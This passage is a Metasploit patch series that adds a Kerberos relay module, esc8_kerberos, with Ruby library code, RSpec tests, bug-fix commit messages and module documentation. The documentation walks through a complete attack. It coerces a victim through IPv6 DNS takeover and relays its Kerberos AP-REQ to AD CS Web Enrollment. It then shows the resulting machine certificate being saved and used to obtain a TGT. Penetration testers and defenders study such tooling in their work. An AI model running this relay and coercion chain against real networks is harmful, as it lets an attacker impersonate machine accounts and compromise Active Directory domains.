b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb new file mode 100644 index 0000000000000..44a3fbfc4a8f9 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::RelayServer do + describe described_class::KerberosSMBRelayServer do + let(:options) do + { + socket: { 'LocalHost' => '10.0.0.1', 'LocalPort' => 4445 }, + smb_server: { gss_provider: double('provider'), relay_targets: double('targets') } + } + end + + subject { described_class.new(options) } + + describe '.sock_options_for' do + it 'defaults the bind host/port and lets the caller override them' do + expect(described_class.sock_options_for(options)).to include( + 'LocalHost' => '10.0.0.1', + 'LocalPort' => 4445 + ) + end + + it 'falls back to 0.0.0.0:445 when unset' do + expect(described_class.sock_options_for(socket: {})).to eq( + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 445 + ) + end + end + + describe '.hardcore_alias' do + it 'derives from the bind host and port' do + expect(described_class.hardcore_alias(options)).to eq('10.0.0.14445') + end + end + + describe '#smb_server_options' do + it 'binds the listener socket into the Kerberos server options' do + sock = double('listener_sock') + opts = subject.send(:smb_server_options, sock) + expect(opts[:server_sock]).to eq(sock) + expect(opts[:relay_targets]).to eq(options[:smb_server][:relay_targets]) + end + end + + describe '#stop' do + it 'does not raise when nothing was started' do + expect { subject.stop }.not_to raise_error + end + end + end + + describe 'contract for the including module' do + # A bare host for the mixin's default hooks, bypassing the Msf module + # constructor chain (register_options et al. need the full module machinery). + let(:host) { Object.new.tap { |o| o.extend(described_class) } } + + it 'requires the including module to define relay_targets' do + expect { host.relay_targets }.to raise_error(NotImplementedError) + end + + it 'treats on_relay_failure as a noop' do + expect(host.on_relay_failure(relay_connection: double('conn'))).to be_nil + end + end +end From ee72afdac6caa2d09df2274b72ee90446ceae63a Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 23 Jul 2026 15:19:14 +0530 Subject: [PATCH 09/20] Document esc8_kerberos module --- .../auxiliary/server/relay/esc8_kerberos.md | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 documentation/modules/auxiliary/server/relay/esc8_kerberos.md diff --git a/documentation/modules/auxiliary/server/relay/esc8_kerberos.md b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md new file mode 100644 index 0000000000000..469108918c3f4 --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/esc8_kerberos.md @@ -0,0 +1,127 @@ +## Vulnerable Application + +This module creates an SMB server and relays the **Kerberos** authentication it +captures to an AD CS HTTP(S) Web Enrollment (ESC8) endpoint, then requests a +certificate on behalf of the coerced principal. It is the Kerberos counterpart +to `auxiliary/server/relay/esc8` (which relays NTLM): instead of an NTLM +NTLMSSP exchange, it extracts the Kerberos AP-REQ from the SPNEGO blob a victim +sends to the SMB server and replays it to the CA over HTTP `Authorization: +Negotiate`. + +Because a Kerberos service ticket is bound to a specific service principal name +(SPN), the victim must be coerced into authenticating to a name whose SPN the +attacker can relay. This is done with a DNS-takeover coercion module (see the +Scenarios section), which is the technique described in CVE-2026-20929: an +IPv6 DNS takeover (rogue DHCPv6 or Router Advertisement) hands the attacker as +the victim's DNS server, and a CNAME record steers the victim's connection to +the attacker's SMB server while the ticket is still issued for the target SPN. + +Unlike NTLM relay, the AP-REQ is encrypted, so the authenticating identity is +not visible on the wire. The operator supplies the coerced principal via +`RELAY_IDENTITY` so the module can pick the correct certificate template and +label its output. + +## Verification Steps + +This module is the relay half of a two-part technique and is normally paired +with a coercion module. For the full end-to-end setup see the Scenarios section. + +1. Configure an ESC8-vulnerable host (AD CS with HTTP Web Enrollment enabled) + * See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host +2. Start `msfconsole` +3. Do: `use auxiliary/server/relay/esc8_kerberos` +4. Set `RHOSTS` to the AD CS Web Enrollment server +5. Set `RELAY_IDENTITY` to the principal you will coerce (for example `WIN-VICTIM$@ad.example.com`) +6. Run the module and, in parallel, coerce the victim (see Scenarios) +7. Wait for the Kerberos AP-REQ to be relayed and a certificate to be issued + +## Options + +### MODE + +The issue mode. Controls what the module does once the relayed connection to +the Web Enrollment server is authenticated. Must be one of: + +* ALL: Enumerate all available certificate templates and issue each of them. +* AUTO: Automatically select the `User` or `Machine`/`DomainController` template + based on whether the coerced `RELAY_IDENTITY` is a user or a machine account + (machine accounts end in `$`). +* QUERY_ONLY: Enumerate available certificate templates but do not issue any. +* SPECIFIC_TEMPLATE: Issue only the template named in `CERT_TEMPLATE`. + +### CERT_TEMPLATE + +The template to issue when `MODE` is `SPECIFIC_TEMPLATE` (for example `Machine` +or `User`). + +### RELAY_IDENTITY + +The Kerberos principal you are coercing (for example `WIN-VICTIM$@ad.example.com` +or `labuser@ad.example.com`). Because the relayed AP-REQ is encrypted, this +identity is not recoverable from the wire; the module uses it to choose the +certificate template (in `AUTO` mode) and to label its output. It does not need +to match a password or key. + +`RHOSTS` is the AD CS Web Enrollment host to relay to, and the module listens for +the coerced Kerberos authentication on the SMB port (`SRVPORT`, default 445). + +## Scenarios + +The technique has two halves running at the same time: this relay server, and a +coercion module that (a) makes the victim use the attacker as its DNS server and +(b) steers the victim's connection to the attacker while the Kerberos ticket is +still minted for the real target SPN. + +### Full coerce-to-certificate flow (native IPv6 DNS takeover) + +Terminal 1 - start the relay server: + +``` +msf > use auxiliary/server/relay/esc8_kerberos +msf auxiliary(server/relay/esc8_kerberos) > set RHOSTS ca.ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY WIN-VICTIM$@ad.example.com +msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE +msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine +msf auxiliary(server/relay/esc8_kerberos) > run +[*] Auxiliary module running as background job 0. +[*] SMB Server is running. Listening on 0.0.0.0:445 +``` + +Terminal 2 - coerce the victim with the native IPv6 DNS takeover (either the +DHCPv6 or the Router Advertisement module): + +``` +msf > use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run +``` + +Once the victim resolves the target service through the attacker and +authenticates to the attacker's SMB server, the relay server extracts the +AP-REQ, replays it to the CA, and saves the issued certificate: + +``` +[*] New Kerberos request from 192.168.64.2 +[*] Received AP-REQ for coerced principal WIN-VICTIM$@ad.example.com +[*] Relaying to next target http://ca.ad.example.com/certsrv/ +[+] Successfully authenticated against relay target http://ca.ad.example.com/certsrv/ +[*] Creating certificate request for WIN-VICTIM$ using the Machine template +[*] Requesting relay target generate certificate... +[+] Certificate for WIN-VICTIM$ using template Machine saved to ~/.msf4/loot/..._windows.ad.cs_....pfx +``` + +The resulting `.pfx` can then be used with `auxiliary/admin/kerberos/get_ticket` +(PKINIT) to obtain a TGT for the coerced account. + +## Notes + +* This module supports Kerberos only; for NTLM relay to ESC8 use + `auxiliary/server/relay/esc8`. +* The relay is one-shot per coerced authentication: a Kerberos AP-REQ is bound to + the SPN it was issued for, so there is no NTLM-style multi-target challenge loop. +* A full end-to-end run against a live domain requires the CA and the KDC to be + reachable during coercion. When the CA and KDC are the same host, use the + CNAME/passthrough options of the coercion module so the KDC leg stays reachable + while the service connection is hijacked. From c9715ffab7edf296c95d989a791ddb022d837de4 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Sun, 26 Jul 2026 12:53:12 +0530 Subject: [PATCH 10/20] Fix SMB2 SessionSetup bookkeeping in the Kerberos relay The SessionSetup answer skipped three things the NTLM relay server client does, all of which the coerced client depends on. Sessions are now registered. A zero session id mints a new id and stores a RubySMB::Server::Session in the session table, so RubySMB can resolve the session for any follow-up request; previously the generated id was returned to the client but recorded nowhere. A non-zero id that this server never issued is now answered with STATUS_USER_SESSION_DELETED rather than a normal SessionSetup response. Credits are now granted. RubySMB does not add them for us, so a response carrying none leaves the client with no allowance to send anything further and the exchange stalls. One credit is granted up front and 32 on success, matching the NTLM path. On success the session is marked valid. session.key is deliberately left unset and signing is not requested: the AP-REQ is relayed as opaque DER and only the real target service can decrypt it, so we never learn the Kerberos session key and could not sign as the victim. That is harmless because the relay is one-shot, but it does mean the session must not be marked as requiring signing. Adds seven specs covering session registration, id reuse, rejection of an unknown id, the credit grant, the state transition, and the absence of a session key. --- .../smb/relay/kerberos/server_client.rb | 47 ++++++++++-- .../smb/relay/kerberos/server_client_spec.rb | 73 ++++++++++++++++++- 2 files changed, 112 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb index ebdbbbc7d18d3..b3e94d6e0a594 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb @@ -25,10 +25,25 @@ def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) # Intercept the SMB2 SessionSetup. When it carries a Kerberos AP-REQ, relay # it; otherwise defer to the default handling (NTLM / normal auth). + # + # Session bookkeeping mirrors + # {Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient#do_session_setup_smb2}: + # a new session is registered in the server client's session table so that + # RubySMB can resolve it for any follow-up request, and a session id we + # never issued is rejected rather than silently answered. def do_session_setup_smb2(request, session) security_buffer = request.buffer.to_binary_s return super unless kerberos_ap_req?(security_buffer) + session_id = request.smb2_header.session_id + if session_id.zero? + session_id = rand(1..0xfffffffe) + session = @session_table[session_id] = ::RubySMB::Server::Session.new(session_id) + else + session = @session_table[session_id] + return session_deleted_response if session.nil? + end + result = relay_captured_ap_req(security_buffer) build_session_setup_response(request, session, result) end @@ -59,20 +74,38 @@ def relay_captured_ap_req(security_buffer) private + # Reject a SessionSetup naming a session id this server never issued, + # matching RubySMB's own handling of an unknown session. + def session_deleted_response + response = ::RubySMB::SMB2::Packet::ErrorPacket.new + response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_USER_SESSION_DELETED.value + response + end + # Answer the coerced client's SessionSetup once the AP-REQ has been relayed. # We do not complete mutual auth with the victim (we have what we need), so # this reports success or failure and lets the connection close. # - # NOTE: the exact SMB2 response shape is validated against a live coerced - # client in the lab; the status mapping below is the unit-tested part. + # Credits have to be granted or the coerced client has no allowance to send + # anything further and the exchange stalls; RubySMB does not add them for us. + # + # NOTE: session.key is deliberately never set. The AP-REQ is relayed as + # opaque DER and only the real target service can decrypt it, so we never + # learn the Kerberos session key and cannot sign as the victim. That is + # harmless here because the relay is one-shot, but it does mean the victim's + # session must not be marked as requiring signing. def build_session_setup_response(request, session, result) - session_id = request.smb2_header.session_id - session_id = rand(1..0xfffffffe) if session_id.zero? - - response = RubySMB::SMB2::Packet::SessionSetupResponse.new + response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new + response.smb2_header.credits = 1 response.smb2_header.message_id = request.smb2_header.message_id - response.smb2_header.session_id = session_id + response.smb2_header.session_id = session.id response.smb2_header.nt_status = relay_status(result) + + if result&.success + response.smb2_header.credits = 32 + session.state = :valid + end + response end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb index 7ba262b2a765c..cc7c7c02c787f 100644 --- a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb @@ -50,7 +50,7 @@ req.smb2_header.message_id = 7 req end - let(:session) { double('session') } + let(:session) { RubySMB::Server::Session.new(0x1234) } it 'returns STATUS_SUCCESS and preserves the session id on a successful relay' do result = target_module::RelayResult.new(success: true) @@ -63,5 +63,76 @@ resp = subject.send(:build_session_setup_response, request, session, nil) expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_LOGON_FAILURE.value) end + + it 'grants credits so the coerced client can keep sending' do + resp = subject.send(:build_session_setup_response, request, session, nil) + expect(resp.smb2_header.credits).to be > 0 + end + + it 'marks the session valid and raises the credit grant on success' do + result = target_module::RelayResult.new(success: true) + resp = subject.send(:build_session_setup_response, request, session, result) + expect(session.state).to eq(:valid) + expect(resp.smb2_header.credits).to eq(32) + end + + it 'leaves the session in progress when the relay failed' do + subject.send(:build_session_setup_response, request, session, nil) + expect(session.state).to eq(:in_progress) + end + + it 'never sets a session key, since the AP-REQ is relayed opaque' do + result = target_module::RelayResult.new(success: true) + subject.send(:build_session_setup_response, request, session, result) + expect(session.key).to be_nil + expect(session.signing_required).to be(false) + end + end + + describe '#do_session_setup_smb2' do + let(:session_table) { {} } + let(:request) do + req = RubySMB::SMB2::Packet::SessionSetupRequest.new + req.smb2_header.message_id = 1 + # sets security_buffer_length too, without which buffer reads back empty + req.set_security_buffer(kerberos_blob) + req + end + + before do + subject.instance_variable_set(:@session_table, session_table) + allow(subject).to receive(:relay_captured_ap_req) + .and_return(target_module::RelayResult.new(success: true)) + end + + it 'registers a new session so follow-up requests can resolve it' do + request.smb2_header.session_id = 0 + resp = subject.do_session_setup_smb2(request, nil) + + session_id = resp.smb2_header.session_id + expect(session_id).not_to eq(0) + expect(session_table[session_id]).to be_a(RubySMB::Server::Session) + expect(session_table[session_id].id).to eq(session_id) + end + + it 'reuses an already registered session' do + session_table[0x4321] = RubySMB::Server::Session.new(0x4321) + request.smb2_header.session_id = 0x4321 + + resp = subject.do_session_setup_smb2(request, nil) + + expect(resp.smb2_header.session_id).to eq(0x4321) + expect(session_table.keys).to eq([0x4321]) + end + + it 'rejects a session id this server never issued' do + request.smb2_header.session_id = 0xdeadbeef + + resp = subject.do_session_setup_smb2(request, nil) + + expect(resp).to be_a(RubySMB::SMB2::Packet::ErrorPacket) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_USER_SESSION_DELETED.value) + expect(subject).not_to have_received(:relay_captured_ap_req) + end end end From 085d6e1588836a7af8c6b40c2a675f936acf1058 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Sun, 26 Jul 2026 13:29:27 +0530 Subject: [PATCH 11/20] Address review findings in the Kerberos relay stack Parse the GSS blob once. do_session_setup_smb2 tested for Kerberos and then relay_kerberos tested again and extracted, so a single SessionSetup parsed the same blob up to four times. GssApReq gains try_extract_ap_req, which yields the AP-REQ or nil in one pass; kerberos_ap_req? is now defined in terms of it, and relay_kerberos takes the extracted AP-REQ rather than the raw blob. Deciding whether a blob is Kerberos at all, and falling through to NTLM when it is not, now belongs unambiguously to the caller. Fix the RHOSTS aliases. HttpClient re-registers RHOSTS after the relay server mixin and drops its aliases, so SMBHOST and RELAY_TARGETS were accepted at the prompt but never reached RHOSTS: setting either reported success and left the module with no target. Re-registered at module level, which is applied last. Verified that both aliases now set RHOSTS, and that the relay-specific description is the one shown. Keep the closing log line honest when the peer lookup fails. ip_address was assigned inside the begin block but read after the rescue, so a failure in getpeername left it interpolating nil. Also drop @issued_certs, which was assigned and never read, correct a doc reference to Kerberos::Target::RelayResult, and note that relay_identity is always nil on the Kerberos path today and is honoured only for a future target that can recover an identity. --- .../remote/relay/kerberos/gss_ap_req.rb | 18 ++++++++++++++---- .../remote/relay/kerberos/relay_handler.rb | 18 ++++++++++-------- .../relay/kerberos/target/http/client.rb | 2 +- .../remote/smb/relay/kerberos/server.rb | 9 ++++++++- .../remote/smb/relay/kerberos/server_client.rb | 14 ++++++++------ .../auxiliary/server/relay/esc8_kerberos.rb | 11 +++++++++-- .../remote/relay/kerberos/gss_ap_req_spec.rb | 14 ++++++++++++++ .../relay/kerberos/relay_handler_spec.rb | 14 +++++++------- .../smb/relay/kerberos/server_client_spec.rb | 13 +++++++++++-- 9 files changed, 82 insertions(+), 31 deletions(-) diff --git a/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb index 2c94d428596f7..1478fa1417c5f 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb @@ -60,16 +60,26 @@ def extract_ap_req(security_blob) token.byteslice(TOK_ID_KRB_AP_REQ.bytesize..-1).to_s end + # {#extract_ap_req} without the exception: returns the AP-REQ when the + # blob carries one and nil when it does not. Callers that both test + # for Kerberos and then use the AP-REQ should prefer this, so the + # blob is only parsed once. + # + # @param security_blob [String] The raw GSS-API token. + # @return [String, nil] The captured AP-REQ as DER bytes, or nil. + def try_extract_ap_req(security_blob) + extract_ap_req(security_blob) + rescue ArgumentError + nil + end + # Whether the incoming blob carries a Kerberos AP-REQ (as opposed to an # NTLM message), letting a shared relay server dispatch on mechanism. # # @param security_blob [String] The raw GSS-API token. # @return [Boolean] def kerberos_ap_req?(security_blob) - extract_ap_req(security_blob) - true - rescue ArgumentError - false + !try_extract_ap_req(security_blob).nil? end # Re-wrap a captured AP-REQ into a GSS-SPNEGO blob suitable for diff --git a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb index 62b3e0888b39d..2449deb577c68 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb @@ -22,22 +22,24 @@ module Kerberos module RelayHandler include Msf::Exploit::Remote::Relay::Kerberos::GssApReq - # Relay a captured client GSS token to a target when it carries a - # Kerberos AP-REQ. Returns nil without touching the target when the - # token is not Kerberos, so a shared relay server can fall through to - # its NTLM path. + # Relay an already-extracted AP-REQ to a target. # - # @param security_blob [String] the incoming client GSS-API token + # This takes the AP-REQ rather than the raw GSS blob so the blob is + # parsed exactly once per authentication attempt. Deciding whether a + # blob is Kerberos at all, and falling through to NTLM when it is + # not, belongs to the caller: use {GssApReq#try_extract_ap_req}, + # which yields the AP-REQ or nil in a single parse. + # + # @param ap_req [String] the captured AP-REQ as DER bytes # @param client [Target::HTTP::Client] the connected relay target client # @param target [Object] the relay target descriptor (for logging) # @param relay_targets [Object, nil] notified via on_relay_end, if given # @param listener [Object, nil] notified via on_relay_success / on_relay_failure # @param identity [String, nil] the client principal, if already known # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] - def relay_kerberos(security_blob, client:, target:, relay_targets: nil, listener: nil, identity: nil) - return nil unless kerberos_ap_req?(security_blob) + def relay_kerberos(ap_req, client:, target:, relay_targets: nil, listener: nil, identity: nil) + return nil if ap_req.nil? - ap_req = extract_ap_req(security_blob) logger.print_status("Relaying Kerberos AP-REQ to #{target}") result = client.relay_ap_req(ap_req) diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb index e44a69b190dbd..020dccf43f148 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -60,7 +60,7 @@ def self.create(provider, target, logger, timeout) # Replay a captured AP-REQ to the target's HTTP service. # # @param ap_req_der [String] the captured AP-REQ as DER bytes - # @return [Msf::Exploit::Remote::Relay::Kerberos::RelayResult, nil] + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] # the relay outcome, or nil if no HTTP response was received. def relay_ap_req(ap_req_der) security_blob = build_spnego_ap_req(ap_req_der) diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb index 5eb9a9a8ce2d9..c219ac9e07d8b 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb @@ -48,8 +48,15 @@ def run(&block) listener: @listener ) @connections << Connection.new(server_client, @thread_manager.spawn("SMBKerberosRelayServerClient for #{sock.peerinfo}", false, server_client) do |client| + # Resolved before the work block so the closing log line still has it + # even if the peer lookup or the connection itself fails. + ip_address = begin + ::Socket.unpack_sockaddr_in(client.getpeername).last + rescue StandardError + 'unknown' + end + begin - _port, ip_address = ::Socket.unpack_sockaddr_in(client.getpeername) logger.print_status("New request from #{ip_address}") logger.info("Starting thread for connection from #{ip_address}") client.run diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb index b3e94d6e0a594..2efa4aa046319 100644 --- a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb @@ -32,8 +32,10 @@ def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) # RubySMB can resolve it for any follow-up request, and a session id we # never issued is rejected rather than silently answered. def do_session_setup_smb2(request, session) - security_buffer = request.buffer.to_binary_s - return super unless kerberos_ap_req?(security_buffer) + # One parse for the whole exchange: this both decides whether the blob is + # Kerberos at all and yields the AP-REQ that gets relayed. + ap_req = try_extract_ap_req(request.buffer.to_binary_s) + return super if ap_req.nil? session_id = request.smb2_header.session_id if session_id.zero? @@ -44,16 +46,16 @@ def do_session_setup_smb2(request, session) return session_deleted_response if session.nil? end - result = relay_captured_ap_req(security_buffer) + result = relay_captured_ap_req(ap_req) build_session_setup_response(request, session, result) end # Select the relay target, build its client, and relay the captured AP-REQ. # Split out from the SMB plumbing so the relay decision is unit-testable. # - # @param security_buffer [String] the SessionSetup GSS-API blob + # @param ap_req [String] the AP-REQ extracted from the SessionSetup blob # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] - def relay_captured_ap_req(security_buffer) + def relay_captured_ap_req(ap_req) # A Kerberos AP-REQ is bound to the SPN the attacker coerced, so it can # only go to the matching service; identity is not known here (encrypted). target = @relay_targets.next(nil) @@ -64,7 +66,7 @@ def relay_captured_ap_req(security_buffer) client = Msf::Exploit::Remote::Relay::Kerberos::Target.create_client(self, target, logger, @relay_timeout) relay_kerberos( - security_buffer, + ap_req, client: client, target: target, relay_targets: @relay_targets, diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb index 56ab7b994594d..21c316f67ba37 100644 --- a/modules/auxiliary/server/relay/esc8_kerberos.rb +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -50,7 +50,11 @@ def initialize(_info = {}) OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]), OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]), OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ]), - OptString.new('RELAY_IDENTITY', [ true, 'The coerced principal being relayed (e.g. DOMAIN\\HOST$). The Kerberos AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.' ]) + OptString.new('RELAY_IDENTITY', [ true, 'The coerced principal being relayed (e.g. DOMAIN\\HOST$). The Kerberos AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.' ]), + # HttpClient re-registers RHOSTS after the relay server mixin and drops + # its aliases, so without this SMBHOST and RELAY_TARGETS are accepted + # but never reach RHOSTS. Module options are applied last, so this wins. + OptRhosts.new('RHOSTS', [ true, 'Target address range or CIDR identifier to relay to' ], aliases: ['SMBHOST', 'RELAY_TARGETS']) ] ) @@ -59,7 +63,6 @@ def initialize(_info = {}) OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]) ] ) - @issued_certs = {} end def relay_targets @@ -141,6 +144,10 @@ def on_relay_success(relay_connection:, relay_identity:) # The AP-REQ carries the client identity encrypted to the target service, so # it is not recovered from the wire; fall back to the operator-supplied # RELAY_IDENTITY for template selection and certificate labeling. + # + # relay_identity is always nil on the Kerberos path today, since nothing + # upstream can learn the principal. It is honoured anyway so that a future + # target which does recover an identity needs no change here. identity = relay_identity.presence || datastore['RELAY_IDENTITY'] case datastore['MODE'] diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb index 5cbf0b4e73cbc..5aa0a7a8d53a3 100644 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req_spec.rb @@ -69,6 +69,20 @@ def spnego_token(mech_token) end end + describe '#try_extract_ap_req' do + it 'returns the AP-REQ for a Kerberos blob' do + expect(subject.try_extract_ap_req(spnego_kerberos_blob)).to eq(ap_req_der) + end + + it 'returns nil rather than raising for a non-Kerberos blob' do + expect(subject.try_extract_ap_req(ntlm_blob)).to be_nil + end + + it 'returns nil for input that is not ASN.1 at all' do + expect(subject.try_extract_ap_req('not asn1 at all')).to be_nil + end + end + describe '#kerberos_ap_req?' do it 'is true for a bare GSS Kerberos AP-REQ' do expect(subject.kerberos_ap_req?(bare_kerberos_blob)).to be(true) diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb index 2c5ad7b580639..a3b848845625e 100644 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb @@ -29,14 +29,14 @@ def result(success) end describe '#relay_kerberos' do - it 'ignores a non-Kerberos (NTLM) token without touching the target' do + it 'ignores a nil AP-REQ without touching the target' do expect(client).not_to receive(:relay_ap_req) - expect(subject.relay_kerberos(ntlm_blob, client: client, target: target)).to be_nil + expect(subject.relay_kerberos(nil, client: client, target: target)).to be_nil end it 'forwards the extracted AP-REQ to the target client' do allow(client).to receive(:relay_ap_req).with(ap_req_der).and_return(result(true)) - subject.relay_kerberos(kerberos_blob, client: client, target: target) + subject.relay_kerberos(ap_req_der, client: client, target: target) expect(client).to have_received(:relay_ap_req).with(ap_req_der) end @@ -44,8 +44,8 @@ def result(success) allow(client).to receive(:relay_ap_req).and_return(result(true)) subject.relay_kerberos( - kerberos_blob, client: client, target: target, - relay_targets: relay_targets, listener: listener, identity: 'WIN$' + ap_req_der, client: client, target: target, + relay_targets: relay_targets, listener: listener, identity: 'WIN$' ) expect(listener).to have_received(:on_relay_success).with(relay_connection: client, relay_identity: 'WIN$') @@ -55,7 +55,7 @@ def result(success) it 'notifies failure and disconnects when the target rejects the AP-REQ' do allow(client).to receive(:relay_ap_req).and_return(result(false)) - subject.relay_kerberos(kerberos_blob, client: client, target: target, listener: listener) + subject.relay_kerberos(ap_req_der, client: client, target: target, listener: listener) expect(listener).to have_received(:on_relay_failure).with(relay_connection: client) expect(client).to have_received(:disconnect!) @@ -64,7 +64,7 @@ def result(success) it 'treats a missing response as a failure' do allow(client).to receive(:relay_ap_req).and_return(nil) - subject.relay_kerberos(kerberos_blob, client: client, target: target, listener: listener) + subject.relay_kerberos(ap_req_der, client: client, target: target, listener: listener) expect(listener).to have_received(:on_relay_failure) end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb index cc7c7c02c787f..0a82389086837 100644 --- a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb @@ -30,7 +30,7 @@ allow(relay_targets).to receive(:next).with(nil).and_return(target) allow(target_module).to receive(:create_client).with(subject, target, logger, -1).and_return(client) - result = subject.relay_captured_ap_req(kerberos_blob) + result = subject.relay_captured_ap_req(ap_req_der) expect(client).to have_received(:relay_ap_req).with(ap_req_der) expect(result.success).to be(true) @@ -39,7 +39,7 @@ it 'returns nil without building a client when no target is available' do allow(relay_targets).to receive(:next).and_return(nil) expect(target_module).not_to receive(:create_client) - expect(subject.relay_captured_ap_req(kerberos_blob)).to be_nil + expect(subject.relay_captured_ap_req(ap_req_der)).to be_nil end end @@ -125,6 +125,15 @@ expect(session_table.keys).to eq([0x4321]) end + it 'parses the security blob exactly once' do + request.smb2_header.session_id = 0 + allow(subject).to receive(:try_extract_ap_req).and_call_original + + subject.do_session_setup_smb2(request, nil) + + expect(subject).to have_received(:try_extract_ap_req).once + end + it 'rejects a session id this server never issued' do request.smb2_header.session_id = 0xdeadbeef From 2446062cca5cd2ee7728f19e61a580760d7ac589 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Sun, 26 Jul 2026 15:10:39 +0530 Subject: [PATCH 12/20] Stop a SPNEGO NegTokenResp from killing the relay thread Found in a live lab test against a Windows DC. The relay never survived a real SMB2 SessionSetup exchange. unwrap_pseudo_asn1 only assigns its start offset when it finds a top-level mechanism OID. For a token that has none it leaves the offset nil and then evaluates `token.length - nil`, raising TypeError rather than an ASN1Error. safe_unwrap rescued only ASN1Error, so the TypeError escaped through extract_ap_req and try_extract_ap_req and killed the connection thread. A SPNEGO NegTokenResp is exactly such a token, 